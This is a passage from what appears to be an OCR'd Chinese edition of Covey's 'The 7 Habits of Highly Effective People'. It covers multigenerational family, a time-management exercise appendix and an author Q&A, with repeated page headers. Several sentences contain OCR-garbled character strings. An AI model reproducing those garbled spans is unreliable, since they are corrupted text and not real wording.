和精彩的统合综效。这就好像种下一棵小树后,收 获了甜美的果实一样。 成果不仅如此,我们还更加深刻地意识到,我 们的行为模式会对子女的生活产生难以置信的影响, 就好像我们的父母影响了我们一样。理解了这一点 后,我们强烈地感到自己必须精心制订规则并以身 作则,把基于正确原则的精神遗产传给后世子孙。 我在本书中特别强调的是,有些不良的行为模 式是上一代遗传下来的,但我们可以努力改变。另 一方面,很多人仔细审视自己的行为模式时,可能 会发现它们很不错,但那是祖辈遗传的,却被我们 盲目地视为理所当然。真正的自我意识有助于识别 这些行为模式,并对那些在以原则为基础的生活中 培养了前人心存感激。他们不仅让我们了解了自己 现在是什么样的人,而且让我们知道自己通过努力 可以成为什么样的人。 几代同堂的和睦家庭里存在一种超自然的力量。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 439 ~ 亲属之间组成的有效相互依赖的家庭会产生一种强 大力量,帮助人们了解自己,了解家世渊源和固有 原则。 子女很容易对“同族人”产生认同感,尽管他 们散居在全国各地,但能感觉到许多人认识并关怀 他们,这是一件大好事,需要你精心完善自己的家 庭。 一个关系紧密、几代同堂的大家庭往往有一种 超常的力量,能帮人们确认自我。让孩子们在这样 的“部落”中找到自己的位置,时时感到被关怀。 如果你的孩子遇到困难,但在人生中的某个特定阶 段又不愿对你和盘托出,也许他可以向你的兄弟或 姐妹倾诉,后者可能会在一定时期内替代父亲、母 亲、导师或榜样的角色。 祖父母对孙辈的热心关怀是这个世界上最可宝 贵的东西,是最棒的社会之镜!我母亲就是这样,尽 管她已是耄耋之年,但仍然关心着所有儿孙。有一 回,我在飞机上读母亲的一封来信,不由得泪如泉 涌。每每给她去电话,她一定会说:“儿子,我希望 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 440 ~ 你知道,我是多么爱你,我觉得你是多么好。”她总 是不断重复这段话。 几代同堂的和睦家庭可能蕴涵着最富有成效, 回报最高,最令人满意的相互依赖关系,许多人都 能感觉到这种关系的重要性。想想我们在多年前对 电视系列片《根》是多么着迷,事实上我们所有人 都有自己的根,也有溯根和认祖归宗的本能。 这样做的最大动力和最有力的动机不光是为了 我们自己,也是为了我们的后世子孙,为了全人类 的后世子孙。正如有人曾经说过的那样:“我们能赠 予子孙的永存遗产只有两种——根和翅膀。” 成为转型者 我认为向子女和他人赠予“翅膀”意味着赠予 他们自由,让他们摆脱上一代传承下来的消极的行 为模式,意味着让他们成为我的朋友兼同事特里·沃 纳博士(Dr.Terry Warner)所谓的“转型者”。我们 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 441 ~ 应该对这种行为模式加以改进,而不是直接传给下 一代,而改进的方式一定要是有利于建立人际关系 的。 童年遭受过父母虐待的孩子,长大后不一定要 虐待自己的孩子。尽管很多证据表明,人们倾向于 遵循上一代传承下来的行为模式,但是只要你能够 积极处事,就可以改变这种行为模式,你可以选择 善待子女、肯定子女,用积极的方式教育他们。 这些你都可以写在个人使命宣言里,想着在“每 天的个人领域的成功’’中将它付诸实施,慢慢地学 着爱和原谅父母,如果他们还健在,就要争取通过 理解来与他们建立积极的关系。 在你的家族中已经延续数代的趋势可以在你这 里画一个句号。你是一个转型者,连接着过去和未 来,你自身的变化可以影响到后世的许多人。 萨达特(Anwar Sadat)是 20 世纪的一位强大的 转型者,他留下的遗产之一就是让我们对变革有了 深刻的理解。对萨达特来说,“过去’’是阿拉伯人 和以色列人之间那道“猜忌、畏惧、仇恨和误解的 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 442 ~ 高墙”,而“未来”就是看起来不可避免的冲突和分 裂。谈判处处碰壁,就连形式和程序方面也无法达 成共识,双方甚至会为协议草案中一个无关紧要的 逗号或句号而争执不下。 当其他人试图用一些表面功夫来缓和僵局的时 候,萨达特却总结了早年牢狱生活的经验,开始从 问题的根源下手,从此改变了数百万人的历程。 他在自传中写道: 当时,我几乎是下意识地运用了在开罗中央监 狱 54 号牢厉里积蓄起来的变革力量,也可以称之为 才能或能力。我发现自己面对的是一种极其错综复 杂的局势,除非具备必要的心理素质和智慧,否则 别指望改变它。在隔离间里,我沉迷于对人生和人 类天性的思索,最后得出结论,如果一个人无法改 变自己的思想构造,就永远无法改变现实,也永远 不可能取得进步。 正如艾米尔(Amiel)所说:真正的变革是由内向 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 443 ~ 外实现的,只是利用性格魅力的技巧,在态度和行 为方面做些表面功夫根本不行,一定要从根本上改 变那些决定了我们的人格和世界观的思想构造和行 为模式才行。 七个习惯浇灌出来的最高级、最美好和最甘甜 的果实就是齐心协力,就是把自己、爱人、朋友和 同事合而为一。正因为多数人都曾品尝过齐心协力 的甜美,也忍受过勾心斗角的苦涩,所以才知道前 者是多么宝贵而脆弱。 塑造绝对诚信的品德以及把爱和服务作为生活 内容的确有助于实现上述的齐心协力,但是显然无 法一蹴而就,投机取巧。不过并非没有实现的可能, 前提是我们要以正确的原则为生活中心,摆脱以其 他因素为生活中心的行为模式,并跳出不良习惯的 “温床”。 我们有时也会犯错,并因此感到尴尬。但是, 只要我们从“每天的个人领域的成功”做起,由内 而外地努力,总会取得成果。而且播种、除草、培 植的过程本身就能够让我们感受到成长的喜悦,直 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 444 ~ 到品尝到美满生活的甜美果实。 再次引用爱默生(Emerson)的名言:“在我们的 不懈努力下,事情变得可以迎刃而解,这并不是因 为任务的性质发生了变化,而是因为我们的能力增 强了。” 只要我们在生活中坚持正确的原则,在实践和 增强实践能力中找到平衡点,就能够创造有效能, 有意义而且充满祥和的人生„„为自己,也为后世 子孙。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 445 ~ 附录一 你是哪种类型的人 ——生活中心面面观 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 446 ~ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 447 ~ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 448 ~ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 449 ~ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 450 ~ 附录二 第四代的时间管理 ——高效能人士的一天 以下的练习和分析旨在帮助你了解第二类事务 为中心的思维模式在企业环境中具有哪些实际作用。 假设你是一家大型制药企业的市场营销主管, 即将在办公室里开始平凡的一天。当你查看这一天 的活动安排时,估计出了每项活动所花费的时间。 这个没有排定优先顺序的列表包括以下内容: 1.你想与总经理共进午餐(1-1.5 小时)。 2.你在前一天接到指示,要编列明年媒体广告 的预算(2-3 小时)。 3.处理“待处理”文件,其数量远远超过“已 处理”的文件(1~1.5 小时)。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 451 ~ 4.你要和销售绎坪淡谈卜个月的销售情况;他 的椭拢科陡麻的另—头(4 小时)。 5.你要处理一些信件,秘书说这些都是急件(1 小时)。 6.你想翻阅办公桌上堆着的医学杂志(0.5 小 时)。 7.你要为下个月召开的销售会议准备发言稿(2 小时)。 8.有传言说,上一批 x 产品没有通过质量检查。 9.食品及药物管理局的人希望你回个电话,讨 论关于 x 产品的问题(0.5 小时)。 10.下午两点要召开主管会议,但议程不明(1 小时)。 现在,花几分钟时间,运用你从习惯一、二、 三中学到的可能对你有所帮助的内容,有效地安排 这一天的活动。 我只要你确定一天的计划,因此自动忽略了就 第四代时间管理而言至关重要的一周的复杂背景。 但是,即使在 9 小时的框架下,你也能体会到以原 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 452 ~ 则为基础的第二类事务为中心思维的巨大作用。 很显然,列表中的大多数活动都是第一类事务 的活动。除了第六项(翻阅医学杂志)之外,其他所 有内容似乎都是重要而紧迫的。 如果你是第三代时间管理者,你就会根据首要 价值观和目标来安排活动的先后顺序,也许会给每 项活动标上字母 A、B、C,然后又在每个 A、B、C 下面标出 l、2、3。你也许会考虑形势,比如其中 涉及的人是否有空,以及吃午餐所需要的合理时间。 最后,你会基于上述所有因素做出一天的日程安排。 许多第三代时间管理者就是采取了这种方法。 他们会列出日程表,安排何时做何事,基于哪种明 确的假没。他们会在这一天完成,至少启动其中大 部分工作,把剩余内容顺延到第二天或其他时间。 例如,大多数人表示,他们会利用上午 8~9 点的时间查明主管会议的具体}义程,以便为会议做 好准备;确定与总经理共进午餐的时间;给食品及 药物管理局的人回电话。他们通常打算利用接下来 的一两个小时与销售经理谈话;处理最重要和最紧 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 453 ~ 迫的信件;弄清关于上一批 x 产品没有通过质量检 查的传言。上午的剩余时间用于准备与总经理在午 餐桌上的谈话内容和(或)两点的主管会议,或者处 理围绕 x 产品或上个月的销售情况出现的任何问题。 下午的时间通常用于料理上述工作的未完成部 分,和(或)尽量处理其他最重要和最紧迫的信件, 处理一部分“待处理”文件,以及其他可能会在这 一天出现的既紧迫又重要的事务。 大多数人认为,编列明年媒体广告预算和准备 下月销售会议发言稿的工作可以放一放,等到第一 类事务不太多时再说。这两项工作显然属于第二类 事务的范畴,涉及长远思维和规划。翻阅医学杂志 的事情仍然放在一边,因为它显然属于第二类事务, 也许还不如刚才提到的两项活动来得重要。 这就是第三代时间管理者通常具有的思维,尽 管他们的具体日程安排也许会各有不同。 你在规划这些活动的时候会采取哪种手法?是 否与第三代时间管理者的手法相似?你是否会采取 第二类事务为中心、第四代的手法?(参阅第 128 页 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 454 ~ 的“时间管珲矩阵”) 要事第一,事半功倍 下面我们以第二类事务为中心的方法分析上述 内容。这只是可能的方案之一,我们还可以拟定其 他符合第二类事务为中心的思维的方案,不过,这 一个真的很能体现第二类事务为中心的思维模式。 作为第二类事务的管理者,你要明白,大多数 “产出”活动属于第一类事务的范畴,大多数“产 能”活动属于第二类事务的范畴。管理好第一类事 务的唯一途径就是重视第二类事务,而最重要的就 是未雨绸缪和抓住机遇,同时要有勇气对第三和第 四类事务的活动说“不”。 下午两点的主管会议 假设下午两点的主管会 议没有预定的议程,或者,你抵达会场之后才能知 道议程。这种情况司空见惯,无怪乎人们往往毫无 准备,“信口开河”。此类会议通常很混乱,只关注 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 455 ~ 第一类事务(既重要又紧迫的),而大家又对此一无 所知。这些会议通常是会而不议,议而不决,只有 负责人的虚荣心得到了满足。 多数情况,第二类事务被列为“其他事务”。按 照帕金森定律(Parkinson’s Law)——“安排多少 时间,就会有多少工作”,往往没有时间讨论这些内 容。即使有时间,与会者也已精疲力竭,顾不上第 二类事务了。 为了跨入第二类事务,你首先要挤进议程,然 后才能就强化主管会议作用的问题发言。你不妨在 上午花 l~2 小时准备这个发言。即使发言只有几分 钟也没关系,你可以引起大家的兴趣,以便在下次 会议上做更详细的阐述。发言的主题是:每次会议 须制订明确的目标与完善的议程,让所有与会者有 机会献言献策。最终议程应由主席确定,重点是具 有开创性的第二类事务,而不是机械的第一类事务。 此外,会后应尽快分发会议纪要,布置具体任务并 确定完成的最后期限。把完成情况列入未来会议的 议程以供检查,而且议程要提前宣布,以便与会者 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 456 ~ 做好准备。 这就是根据第二类事务为中心的思维模式可能 采取的措施。它要求我们高度积极主动,有勇气挑 战惯例——你根本不需为这些活动做出日程安排。 它还要求你深思熟虑,以免在主管会议上出现尴尬 局面。 其他各项工作,多半可按这种第二类事务为中 心的思维来处理,只有给食品及药物管理局回电话 也许是个例外。 给食品及药物管理局的主管回电话 为了搞好 关系,你应在上午回电话,这样如果发现问题也能 及时处理。这也许很难授权别人,因为涉及的对方 可能具有第一类事务的文化,找你的人可能想要你 本人(而不是代办者)回电话。 作为主管,你可以尝试直接影响本组织的文化, 但你的影响圈也许还没大到足以影响食品及药物管 理局的文化,所以你只能满足他们的要求。如果你 发现电话中暴露的问题是由来已久或长期积累的, 你也许应该借助第二类事务为中心的思维来应对, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 457 ~ 以免日后重蹈覆辙。不管是抓住机会改善与食品及 药物管理局的关系,还是以未雨绸缪的方式解决问 题,二者都要求你的积极主动。 与总经理共进午餐 你或许会发现,这是在轻松 气氛中讨论第二类事务的难得机会。你可以在上午 花半小时到一小时做适当的准备,也可以干脆把它 当做一次社交活动,认真聆听就好,或者根本没有 任何计划。无论是哪种情况,这都是你与总经理搞 好关系的大好机会。 编列媒体广告预算 就第二项活动而言,你可以 找来与此项业务直接相关的两三个部属,要他们提 出“业务方案”(也就是大致上只需你签字同意即可 的报告),或是提出两三种周密方案及其相应后果以 供选择。这也许要占去整整一个小时:分析预期效 果、方针、可用资源、责任归属和成果评估。不过, 你只需投入一个小时,就能让持不同见解的员工发 表精辟见解。如果你此前不曾采用过这种方法,起 初也许要花较多的时间训练他们,比如“业务方案” 的含义,如何围绕分歧统合综效,其他的可选方案 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 458 ~ 及其后果等等。 “待处理”文件和信件 与其一味忙于处理“待 处理”文件,不如花一点时间(也许是半小时到一小 时)训练你的秘书,使他(她)逐渐具备处理“待处理” 文件(和第五项中的信件)的能力。训练可能持续数 周甚至数月,直到秘书或助手真正能把结果,而不 是方法,作为思考重点为止。 秘书在接受训练后可以做到:浏览所有的信件 和“待处理”文件,对它们加以分析,尽可能自行 处理。如果无法自行处理,则细心整理,分出轻重 缓急并附上建议或说明,由你做出决定。这样一来, 过不了几个月,秘书或行政助手就能处理 80%~90% 1 拘“待处理”文件和信件,往往比你自己处理得 还要妥帖,因为你集中考虑的是第二类事务的机遇, 而不是第一类事务的问题。 销售经理和上月的销售情况 可以这样来处理: 你与销售经理一起全面分析各种关系和绩效协议, 看看是否应用了第二类事务为中心的方法。本项练 习不会明示你该与销售经理谈些什么,但假设发现 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 459 ~ 了第一类事务的问题,你就可以采取第二类事务为 中心的方法,致力于解决长期性的隐痛,同时用第 一类事务的方法解决眼下的问题。 出于你的第二类事务为中心思维,你还可以训 练秘书与销售部门联系,有要事才向你报告。或许 你有必要让销售经理及其主要下属明白,你的首要 职责是领导而不是管理。他们慢慢会明白,与秘书 打交道,其实能更妥善地解决问题。这样你就能解 放出来,专注于第二类事务的领导工作。 翻阅医学杂志 阅读医学杂志是第二类事务,你 也许想暂时搁置,但这正是你长期保持专业素质和 信心的关键所在。因此,你可以在下次部门会议上 提议,建立员工阅读医学杂志的系统化制度。员工 可以分别研读不同的杂志,然后在部门会议上介绍 其学习心得。他们还可以向他人提供确有必要阅读 和理解的重要文章或节选。 为下月的销售会议做准备 第二类事务为中心 做法是,召集一小批下属,要求他们对销售人员的 需求展开全面分析,并在一星期或十天内向你递交 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 460 ~ 一份“业务方案”,让你有时间修改并付诸实施。他 们可以与每位销售人员面谈,了解其忧虑和真实需 求,或者是抽样调查,以期销售会议的议程能切合 实际,而且要提前宣布,让销售人员做好准备,以 恰当的方式参与其中。 你不必亲自动手,可以把这项任务授权少数持 不同观点,具不同经验的代表。让他们展开创造性 交往,把最后的建议递交给你。如果他们不习惯于 这样的任务,你可以用部分的会议时间进行培训, 让他们了解这样做的用意以及对他们自己的好处。 换句话说,你要训练他们学会高瞻远瞩,对交办的 任务有责任感,彼此分工合作,在特定期限内高质 量地完成任务。 x 产品和质量检查 让我们分析第八项,x 产品 没有通过质量检查。第二类事务为中心的方法就是 彻底调查,看这个问题是否由来已久或是长期积累 的结果。如果是,你可以指派专人深入分析研究并 提出解决方案,或干脆授权他们按此方案办理,最 后向你通报结果。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 461 ~ 运用第二类事务为中心的思维来安排日程,结 果是你把大部分时间用于授权,训练,准备主管会 议发言,打一通电话,吃一顿收效颇丰的午餐。只 要采取重视“产能”的长效手段,再过数周或数月, 你可能就不会再被急事缠身了。 阅读以上做法时,你也许认为过于理想化了。 你也许纳闷,难道第二类事务为中心的经理完全不 用应对紧急事件吗? 我承认确实有点理想化。但本书的主旨并非低 效能人士的习惯,而是高效能人士的习惯。而高效 能原本就是要努力争取,有待实现的理想。 当然,你必然会在第一类事务上花一些时间, 即使最周密的第二类事务有时也无法完成。然而, 第一类的事件可由此而大幅减少,变得比较易于处 理。这样你就不会时时处于压力过大的危机氛围, 也就不会对你的判断力和健康造成消极影响。 这无疑需要相当大的耐心和毅力,你眼下也许 无法以第二类事务为中心的方法处理所有,甚至大 部分活动。但如果你能在其中几项上取得突破,就 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 462 ~ 会有助于第二类事务为中心的思维在他人和自己的 头脑中扎根,那么随着时间的推移,相关业绩就会 出现惊人的提高。 我承认,在家庭或小企业中,这种授权可能是 行不通的。不过,这并不排斥第二类事务为中心的 思维。这种思维仍然能在你的影响圈里独辟蹊径, 帮助你想出其他的第二类事务为中心的办法来减少 或减轻第一类事务的危机。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 463 ~ 附录三 答读者问 说实话,这篇后记里的一些个人问题总让我感 到尴尬,但是,鉴于经常有人饶有兴趣地向我提出 这些问题,我还是把它们收录在这里。 ◆《高效能人士的七个习惯》出版后,考虑到您在 此期间的经历,您会修改、添加或删除哪些内容? 说实话,我不会修改任何内容。我可能会进一 步深入阐述,广泛论证,但是我已经在其后出版的 一些书里抓住机会完成了这项工作。 例如,对超过 25 万人的调查显示,“习惯三: 要事第一”是最容易被忽视的习惯。因此,《要事第 一》更加深入地探讨了习惯二和习惯三,但对其他 几个习惯也添加了更多的内容和事例。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 464 ~ 《幸福家庭的七个习惯》用七个习惯的思维模 式构筑稳固、幸福、高效能的家庭。 在《杰出青少年的七个习惯》中,我的儿子肖 恩也运用了这种思维模式,以一种极具观赏性、趣 味性和启发性的方式,分析了青少年的特有需求、 爱好和挑战。 不计其数的人告诉我们,在将七个习惯融会贯 通后,他们就成了自己生活的创造性力量,这种变 化产生了惊人的影响。有 76 个人在《实践七个习惯》 中详述了自己在勇气和灵感方面的精彩故事,这些 故事说明了无论生存环境、工作职位和个人经历如 何,这些原则都会在形形色色的个人、家庭和组织 中发挥转化作用。 ◆该书出版以后,您又对七个习惯有了哪些领悟? 我又领悟了,或者说又验证了许多东西,下面 将简要列举 10 项内容。 1.理解原则与价值观的区别非常重要。原则是 外部的自然法则,最终会控制我们的行为后果。价 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 465 ~ 值观是内在的、主观的,是指引我们行为的最强烈 的感觉。希望我们能重视原则,这样我们就能够在 实现眼前目标的同时,为未来取得更了不起的成就 打下基础,这就是我对“效能”的定义。每个人都 有价值观,犯罪团伙也不例外。价值观支配人们的 行为,而原则支配这些行为的后果。原则独立于我 们之外,无论我们是否认识它、接纳它、喜欢它、 相信它、遵从它,它都会发挥作用。我逐渐相信, 谦恭是所有美德的根基,它让我们知道,我们无法 掌控任何东西,而原则可以,l 因此,我们必须遵 从原则。骄傲则告诉我们,我们能够掌控局面,既 然我们的行为受价值观支配,那么我们完全可以随 心所欲地生活。这样并非不可以,但是我们的行为 后果取决于原则,而不是价值观,因此,我们必须 重视原则。 2。从世界各地的读者的经历中,我看到了作为 本书基础的原则曲萱董趋事例和做法可能有所不同, 具有文化上的差异,但原则都是一样的。我发现七 个习惯蕴涵的原则在世界最主要的六大宗教中都有 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 466 ~ 体现,并在讲课时根据当地文化背景引经据典,在 中东、印度、亚洲、澳大利亚和南太平洋、南美洲、 欧洲、北美洲和非洲都屡试不爽,在美洲原住民和 其他土著居民那里也不例外。所有人,无论男女, 都面临着类似的问题,有类似的需求,内心深处都 能与根本原则共鸣。我们的内心能感受到公正或双 赢的原则,以及责任原则、目的原则、正直原则、 尊重原则、合作原则、交流原则和自我更新原则。 这些原则具有普遍性,但是做法各异,依环境而变 化,因为每种文化都会以独特的方式解读这些原则。 3.我看到了七个习惯对于组织的意义,尽管从 严格的技术意义上进丝咝璺羞丕县有任何习邀。组 织文化具有准则、习惯或社会规范,这些相当于习 惯,还有已经确立起来的体系、程序和步骤,也都 相当于习惯。事实上,归根结底,所有组织行为都 是个人行为,尽管它常常是集体行为的一部分,体 现为管理层围绕组织结构和体系、程序和惯例所做 出的决定。我们曾经与各个行业的数以千计的组织 共事,发现七个习惯包含的基本原则适用于并能够 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 467 ~ 阐释效能。 4.你可以把任何一个习惯作为讲授所有七个习 惯的开端,也司以在进援二仝习惯的时候引出其他 六个习惯。这就像是一张全息图(hologram),整体 包含在部分当中,部分也包含在整体当中。 5 尽管七个习惯是一种自内而外的手段,但是, 只有先把外界挑战作趁三蛩赴然后再采取自内而外 的方法,这种手段才最为奏效。换言之,如果你在 人 f 示关系方面遇到挑战,比如沟通困难和丧失信 任,这就确定了你要采取的自内而外的手段应该是 首先实现个人领域的成功,然后再实现公众领域的 成功。这就是我常常先讲习惯四、五、六,然后才 讲习惯一、二、三的原因。 6.相互依赖比独立还要难上 l0 倍。要在对方 执意想损人利己(我赢你输)的时候坚持利人利己 (双赢),在自己内心渴望得到理解的时候先尽力理 解别人,在妥协很容易达成的时候寻求更好的第三 种选择,就需要极强的精神和 f 青感独立性。换言 之,以创造性协作的方式与别人成功合作需要极强 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 468 ~ 的独立性、内在安全感和自控能力。否则,我们所 谓的相互依赖其实就是反依赖,借强调自己的独立 性或共同依赖性来利用对方的弱点,满足自己的需 求,或者为自己的弱点辩解。 7.前三个习惯完全可以用“做出承诺,信守诺 言”这句话来概括,而接下苤盟三个习惯完全可以 用“大家参与讨论,共同拟定解决方案”来概括。 8.七个习惯只有寥寥数字,但却是一种新的语 言,这种新语言成为了一种密码,一种表述丰富内 容的简洁方式。你可以这样对别人说:“这算存款还 是提款?”“这是消极被动还是积极主动?”“这是统 合综效还是折衷?”“这是利人利己(双赢)、损人利 己(赢/输)还是舍己为人(输/赢)?”“这算要事第 一还是琐务第一?” “这算以终为始还是以手段为始?” 我曾亲眼目睹整个文化氛围由于广泛理解并遵守这 些特殊密码所体现的原则和概念而发生转变。 9.正直是比忠诚更高层次的价值观。更明确地 说,正直是忠诚的最高形式,正直意味着以原则(而 不是人、组织甚至家庭)为中心。你会发现,人们有 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 469 ~ 待处理的大多数问题的根源是“这样做只是得人心 (可接受,明智)还是正确合理?”如果认为忠诚于某 个人或者某个团体比正当合理的行为更重要,那我 们就丧失了正直。我们也许会在短期内受到欢迎或 赢得忠诚,但在一段时间之后,正直的缺失甚至会 对这些关系造成破坏。这就像是在背后说别人的坏 话,你通过诋毁别人而暂时团结到的人们知道,在 不同的压力和处境之下,你也会说他们的坏话。从 某种意义上讲,前三个习惯意味着正直,接下来的 三个习惯意味着忠诚,但它们完全是相辅相成的。 随着时间的推移,正直会造就忠诚。如果试图反其 道而行之,想要先获得忠诚,你就会发现自己损害 或放弃了正直。最好的办法是让别人信任你,而不 是喜欢你。信任和尊重终将产生爱。 10.对所有人来说,实践七个习惯都是一场长 期的斗争。每个人都会间或在每个习惯上出现失误, 有时会同时在七个习惯上出现失误。其实七个习惯 很好理解,但难以持之以恒;它们都很合情合理, 但合情合理的东西未必总是普遍做法。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 470 ~ ◆您个人认为哪个习惯最难以付诸实践? 习惯五。当我筋疲力尽的时候,当我深信自己 正确的时候,我真不想听别人说话,我甚至会假装 聆听。从根本上说,我犯的就是我自己所说的那种 错误——聆听的目的是做出回答,而不是去理解对 方。事实上,从某种意义上讲,我几乎每天都要花 费很大气力去实践所有七个习惯,我没有征服它们 当中的任何一个,我认为它们是我们永远无法真正 把握的人生原则,我们越是接近于把握它们,就越 是意识到我们距离目标其实还相当遥远。你知道得 越多,就会意识到自己不知道的更多——这是同样 的道理。 正因为如 此,我在大学 里给学生打分 时,有 50%的 分数是提问质 量分,另外 50% [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 471 ~ 的分数是答案质量分。这样更能反映他们真实的知 识水平。 同样,七个习惯体现了一个良性循环(见图Ⅲ -1)。高水平的习惯一与低水平的习惯一有着天壤之 别。初始阶段的积极主动也许只意味着注意到刺激 与回应之间的距离;在更高级的第二阶段,它会涉 及到选择,比如不要力图报复或扯平;在更高级的 第三阶段上,要做出回应;在第四阶段上,要请求 原谅;在第五阶段上,要原谅对方;在第六阶段上, 要原谅父母;在第七阶段上,要原谅已故的父母; 在第八阶段上,根本就不要动气。 ◆您是富兰克林柯维公司的副总裁,富兰克林柯维 公司也遵循七个习惯吗? 我们不断努力实践我们讲授的内容——这是我 们最基本的价值观之一。不过,我们做得不够完美。 如同其他企业一样,我们面临着挑战:一方面要应 对不断变化的市场现实,另一方面要融合前柯维领 导中心和富兰克林一奎斯特公司的两种文化。公司 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 472 ~ 的合并是 l997 年夏天完成的,运用这些原则需要时 间、耐心和毅力。成功与否的真正考验是长期性的, 只言片语无法描述准确的情况。 每一架飞机都常常会偏离航线,但又不断回到 正确航线上来,并最终抵达目的地。我们所有个人、 家庭或组织也是一样,关键是“以终为始”,共同致 力于经常性的反馈和线路调整。 ◆为什么是七个习惯?为什么不是六个、八个、十 个或十五个习惯?为什么“七”如此神圣? “七”并不神圣,只不过先有三个个人领域成 功的习惯(选择的自由、选项的自由、行动的自由), 然后是三个公众领域成功的习惯(尊重、理解、创造), 接着是一个补充性的习惯,加起来就是七个。 当别人提出这个问题的时候,我总是说,如果 想把别的什么可取之处归纳成习惯,那么只需把它 放在习惯二的名下即可,作为你准备为之努力的价 值观。举例来说,如果你想要把守时归纳成习惯, 那就可以把它视作习惯二的价值观之一,以此类推, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 473 ~ 无论你想到哪些可取特性,都可以把它归为习惯二 的内容。习惯一指的是你可以拥有和选择一个价值 观体系,习惯二指的是价值观体系的备选项或具体 内容,习惯三指的是遵循这些价值观。因此,它们 是非常基本、普遍的和相互联系的。 在为新版《高效能人士的七个习惯》撰写这部 分内容时,我刚刚完成了一本名为《高效能人士的 第八个习惯:从效能迈向卓越》的新书。对有些人 来说,称之为“第八个习惯,,也许有悖于我的标准 回答。可是,你要知道,正如“新版前言”中所说 的那样,自从《高效能人士的七个习惯》出版以来, 世界已经发生了深刻变化。在个人生活和关系领域, 在我们的家庭、职业生涯和组织中,我们面临的挑 战和复杂情况的重要性次序发生了变化。 在当今的世界里,成为高效能的个人和组织已 经不再是一种选择,而是一种必要,这是进入赛场 的代价。但是,如果要在新环境下生存、发展、革 新、出众和超越他人,就需要提高效能。新时代的 呼声和需求就是付诸实践,就是实现优化,追求重 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 474 ~ 大成就和伟大事业。这些都属于不同的范畴,类别 不同,就好像重要性和成功分属不同的类别(而不是 程度)一样。想要迈人人类天赋与动机(我们可以称 之为“愿望”)的更高层次,我们就需要形成新的思 维模式、技巧模式和手段模式——新的习惯。 因此,第八个习惯并不是在习惯七的后面添加 一个习惯——个不知何故被遗忘了的习惯,而是了 解并把握七个习惯的第三维的力量,这种力量能应 对知识时代的新的核心挑战。(见图Ⅲ-2) [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 475 ~ ◆声名远扬给您带来了怎样的影响? 它从不同角度影响着我。从自我的角度来说, 它让我感到高兴;从教学的角度看,它让我变得谦 恭。不过,我必须承认,所有这些原则都不是我发 明的,所以我不该为此得到赞美。我之所以这样说, 并不是为了显得谦虚和客气,而是因为我就是这样 想的,这就是我本人的观点。我觉得自己与你们大 多数人一样,是真理和理解的追求者。我不是大师, 我讨厌别人叫我大师,我不想招收门徒,我只是在 努力训练人们奉行已经存在于他们心中的原则—— 忠实于他们的良心的原则。 ◆如果一切从头来过,作为商人,您希望自己在哪 件事情上采取不同的做法? 我要以更具战略性、更积极主动的方式招聘并 挑选员工。当我们有紧急事务应接不暇的时候,就 很容易把看上去能够解决问题的人放在关键岗位上, 不去深入了解他们的背景和办事风格,不付出“应 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 476 ~ 有的努力”,也不精心拟定担任特定职务或完成特定 工作所需要符合的标准。我深信,如果能以战略眼 光完成招聘和挑选工作,也就是说,有长远眼光和 积极主动的态度,而不是迫于当下的压力,就会享 受到许多长远利益。有人曾经说过: “我们越是渴求, 就越是轻信。”我们确实应该深入了解性格和能力, 因为随着时间的推移,其中任何一个范畴的弱点最 终都会在两个范畴中出现。我深信训练和培养是重 要的,但招聘和挑选更加重要。 ◆如果一切从头来过,作为家长,你希望自己在哪 件事情上采取不同的做法? 作为家长,我希望自己能花更多的时间,在每 个孩子的不同成长阶段小心地拟定温和而亲切的双 赢契约。由于经商和出差的缘故,我经常纵容孩子, 